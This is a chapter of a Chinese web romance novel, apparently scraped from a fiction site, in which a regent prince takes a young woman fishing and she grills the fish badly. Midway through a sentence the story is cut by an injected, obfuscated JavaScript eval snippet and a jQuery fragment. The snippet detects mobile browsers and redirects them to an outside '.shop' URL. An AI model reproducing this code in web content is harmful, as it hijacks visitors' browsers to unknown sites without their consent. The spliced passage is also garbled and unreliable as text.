文趣网 > 其他小说 > 被男主缠住了怎么脱身[快穿] > 72. 权倾朝野王爷08
    沈枝露应声回过头,正好看到谢暄跨过门槛进了屋,他换了一身银灰色夜行衣,高大的身形靠近时,带着更深露重的寒气,想来是一夜未眠。

    锦书两人乍一见到谢暄,忙跪地行礼。

    “殿下金安!”

    没想到在王府中三年五载都见不到的人,来小院的第一天竟然就见到了。

    谢暄只稍稍抬了抬手,两个丫鬟便识趣地退出屋子,关门侍立在外。

    沈枝露看着他越走越近,撑着下巴问道。

    “殿下今日不忙了吗?”

    动作间宽大的衣袖滑至肘间,白皙的手臂像剥了壳的鲜藕,光洁匀称。

    谢暄的目光在其上停留一瞬,又快速移开。

    “陪你钓鱼的时间还是有的。”

    “可我今日不只想钓鱼,还想自己烤鱼,殿下若是忙的话不必特意为我挪出时间。”

    她眼里隐隐闪烁着期待,但说出口的话却甚是得体。

    “不忙。”

    谢暄微顿了顿,又补充道。

    “起码两个时辰内不会离开。”

    沈枝露这才笑了起来,嘴角漾出深深的梨涡。

    “那便走吧,我们去拿鱼竿!”

    鱼竿放在院子最侧边的耳房中,从正房过去得绕过好几间厢房。

    谢暄没让人跟着,眼神不着痕迹地在她身上上下逡巡一圈,没发现她走动间有什么不适,但还是开口问了句。

    “青竹说你受伤了,用过药膏后今日好些了吗?”

    青竹?应该是昨晚给她拿药的那个小厮吧。

    沈枝露不甚在意地道。

    “只是些擦伤罢了,用了药又休息过一晚,今日已没什么感觉了。”

    两人到耳房外时,门锁已被提前打开,沈枝露便直接抬手推门,走了进去。

    以防日晒损耗,屋里并无窗户,因架子上放着谢暄收藏的画作书法等贵重易燃物,也未点灯,所以尽管外面此时天光大亮,屋里却依旧漆黑一片,只从门口的方向泄进来一道光,勉强照亮中间的过道。

    她摸索着往里走了几步,依稀能看到架子上摆着茶叶罐、银丝炭、藏香等杂物,也有不常看的古籍和暂未入库的古玩字画,就是没看到钓鱼竿。

    此处光线已然晦暗不少,再往里走就完全被吞没到黑暗中了,沈枝露担心磕碰到什么东西,停住脚步后,转身想要拍一拍谢暄,问他知不知道钓鱼竿的位置。

    手往后伸去,却不妨碰到了节温热坚硬的指骨,拇指指腹处还同时传来玉质扳指的微凉感。

    她微微愣住,反应过来这是谢暄的手,刚准备收回,下一刻手指却被人一把反握住,紧紧包裹在带着薄茧的灼烫手心里。

    头顶处极近的地方紧接着传来询问声。

    “当心摔倒,没事吧?”

    沈枝露略微使力把手往回扯了扯,纹丝不动,不由得有些惊讶地挑了挑眉,开口回了句。

    “没事,前面太黑了,我找不到鱼竿在哪儿。”

    黑暗放大了无声滋长的欲望,尽管知道这样非常失礼,谢暄还是又过了足足十几息,才缓慢松开了她的手,然后重新恢复为温和有礼的摄政王,应道。

    “我来。”

    谢暄绕过她行了几步,目标明确地俯身将角落的鱼篓连同钓鱼竿提了起来,便往回走去。

    他的夜视能力很好,方才进门时便已看到了鱼竿的位置,却不知出于何种心理,只慢慢跟在沈枝露身后,看着她左顾右盼地在架子上寻找。

    望着从黑暗中缓步走来的高大身影,沈枝露揉了揉被攥红的手背,感觉某些事情似乎有些脱离控制了。

    好在踏出耳房之后,谢暄便又找回了之前的进退有度,和她保持着适当的距离一路并肩走到了后院的池塘。

    池塘水榭旁修了个简单的小亭子,谢暄把鱼篓放到地上后,把其中一根鱼竿递给她。

    “之前钓过鱼吗?”

    沈枝露伸手接过去,摇了摇头。

    “没有,殿下呢?”

    留意到她手背上仍未完全消褪的红印,谢暄顿了一瞬才回道。

    “随王兄行军打仗时钓过两次。”

    沈枝露靠在亭边,看他依次将浮漂和铅坠穿上,动作异常熟练,干脆趴在亭边道。

    “那你来吧,但我们没有鱼饵,还要去找些虫作饵吗?”

    “无需,用浮萍即可。”

    将漂浮在水面上的浮萍挂在鱼钩上之后,谢暄便调整了浮漂位置,让鱼钩随着铅坠沉底,然后静待提杆。

    看着谢暄利落的动作,沈枝露眨了眨眼,将上半身探出亭子,期待地望着水面。

    一炷香过去了。

    一刻钟又过去了。

    沈枝露此时腰已靠得有些酸,将上半身完全缩回去后,下巴靠到扒在亭边的手背上,小小打了个哈欠。

    “殿下,还没好吗?”

    以往被王兄宠着,只负责提杆,从来不知等待鱼儿咬饵时间如此之长的谢暄抿了抿唇,果断把钓线从水中重新捞出,拔掉鱼钩后,将钓线缠至随身携带的匕首上,视线在水面扫过一眼后,手腕稍一用力,便将匕首掷了出去。

    这次再扯动钓竿时,一条足有三四斤重,不断奋力挣扎的大鱼被他拖上了岸。

    谢暄拔下鱼身上的匕首,将鱼扔进篓中递到她面前,认真回答了她方才提出的问题。

    “好了。”

    考虑到他的自尊心,沈枝露没当场笑出声来,点点头拎着鱼篓回到前院。

    锦书和厨娘已将厨房里的烤架搬到了院中,下层炭火正在燃着,旁边石桌上放着用葱、姜、橘皮和豉汁拌好的腌料。

    腌制之前还需把鱼鳞刮掉剖洗干净,一旁的青竹看谢暄挽起衣摆准备自己动手,忙着急地上前拦了拦。

    “殿下,这种事哪能让您来做?!”

    谢暄却没理他,径自拿过篓里的鱼,撩袍蹲下后,将鱼放到一旁盛了水的木桶中,还抽空抬头对沈枝露说了句。

    “站远些,别溅到你身上了。”

    一旁的其他人,无论是丫鬟、小厮还是厨娘全都是诚惶诚恐,一副想拦又不敢拦的样子。

    沈枝露却已对他亲自动手处理食材见怪不怪,依言往后退了退,在石凳上坐下后,撑着下巴饶有兴致地看他用匕首刮鱼鳞。

    没想到他刮鱼鳞的手法竟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582318|202076||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    然很娴熟,起码比钓鱼好多了,不过一炷香左右,便把整条鱼处理干净并腌制好。

    一旁的青竹这会儿极有眼色地将烤架挪到了沈枝露面前,让她能坐在石凳上进行最后的鲈鱼烤制任务。

    谢暄的银灰色夜行衣上被溅了不少水,还有零星几个鳞片黏在衣摆上,颇为不适,趁着沈枝露烤鱼的间隙,他回了一趟正房准备换身衣服。

    打开衣柜后,谢暄却立刻皱了皱眉头。

    他的衣服被人动过。

    长指拨动,从中拿出一件有轻微褶皱,月白色的里衣后,一股淡淡的药粉味扑鼻而来。

    谢暄顿时愣住。

    为什么他的衣服上会有那位姑娘身上的药粉味道?

    莫不成是昨晚睡时太冷,她又在裙衫外面套了件他的里衣吗?

    想到自己手里这件衣服是从她身上脱下来的,谢暄的呼吸都乱了一瞬,修长白皙的指节紧扣住里衣领口,不知该拿这件衣服怎么办才好。

    沈枝露在院里快把鱼给烤好时,谢暄才从正房里换好衣服出来,不知是不是这会儿日头正盛的原因,他的颈间和耳垂下方布满红霞似的粉,格外明显。

    沈枝露正在给烤鱼撒调料,随口问了句。

    “殿下换个衣服为何这么久?”

    谢暄抬手将颈间的立领扣得更紧了些,声音不太自然。

    “很久吗?”

    沈枝露只是随口一问罢了,即使未得到他的回答也没有深究,将自己烤好的鱼切下来一块后,装盘递到他面前。

    “快尝尝我烤得如何?”

    谢暄接过盘子,夹起尝了一口,甚至还未咽下去便已开口夸道。

    “鲜香入味,很好吃。”

    “真的吗?”

    沈枝露烤好之后自己还未尝过,正要夹起一块尝尝,咽下鱼肉的谢暄却突然弯腰伸手按住她的手背,表情有些奇怪。

    “等等,可能再烤一会儿会更好些。”

    青竹斗胆凑到近前一看,烤鱼中间部分的鱼肉颜色竟然还是透明的。

    这不就是没熟吗?!

    但摄政王都没有提出来,他也不敢说出口伤了沈枝露的面子,只不放心地小声对谢暄说道。

    “殿下不若去吐掉吧?小心胃不舒服。”

    谢暄却只是摆摆手道。

    “无碍。”

    就算刚才不知道什么情况,听到青竹这句话沈枝露也反应过来了,略显无辜地抬头看向谢暄。

    “抱歉,我没怎么下过厨。”

    谢暄接过她手里的竹夹,高大的身形蹲下来,帮她翻鱼块。

    “不要紧,你已做得很不错了,只是有些小失误,不碍事。”

    “吱呀”一声,大门突然被人从外面推开,一个满身甲胄的亲卫进门直奔谢暄而来。

    谢暄知道他要汇报什么,示意他等在一旁,黑白分明的眼眸看向坐在石凳上的沈枝露。

    “我有事需得出门一趟,大概酉时回来。”

    “嗯。”

    “如果我回来得比约定时间早,你便答应我一个条件,好不好?”

    “什么?”

    “告诉我你的名字。”